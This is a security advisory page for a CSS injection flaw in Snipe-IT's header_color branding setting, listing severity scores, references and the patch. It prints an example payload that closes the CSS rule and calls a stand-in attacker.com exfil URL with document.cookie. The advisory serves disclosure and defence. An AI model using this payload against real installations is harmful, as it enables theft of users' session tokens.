Advisory details:
github_osv / GHSA-w7qw-5wfv-gwx9
| Advisory ID | github_osv/GHSA-w7qw-5wfv-gwx9 |
| Aliases |
CVE-2026-55481
|
| Summary | Snipe-IT has CSS Injection via `header_color` Setting ### Impact Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators. Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack. ### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `<style>` block using Laravel's `{{ }}` syntax: ``` --main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }}; ``` Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like: ``` #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ``` This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load. ### Patches Patched in https://github.com/grokability/snipe-it/pull/19097 ### Workarounds Enable CSP in your .env file. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.6 |
| Risk | 2.8 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 6.2 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w7qw-5wfv-gwx9/GHSA-w7qw-5wfv-gwx9.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/grokability/snipe-it | ||
| 19097 | Other | https://github.com/grokability/snipe-it/pull/19097 |
| c31190a128ec96fb34000a2f27eae198b1a51d40 | Other | https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40 |
| CVE-2026-55481 | https://nvd.nist.gov/vuln/detail/CVE-2026-55481 | |
| GHSA-w7qw-5wfv-gwx9 | Other | https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9 |
| v8.6.2 | Other | https://github.com/grokability/snipe-it/releases/tag/v8.6.2 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-07-14T13:51:23Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/55xxx/CVE-2026-55481.json
Source Advisory: vulnrichment/CVE-2026-55481
[{'Exploitation': 'none'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]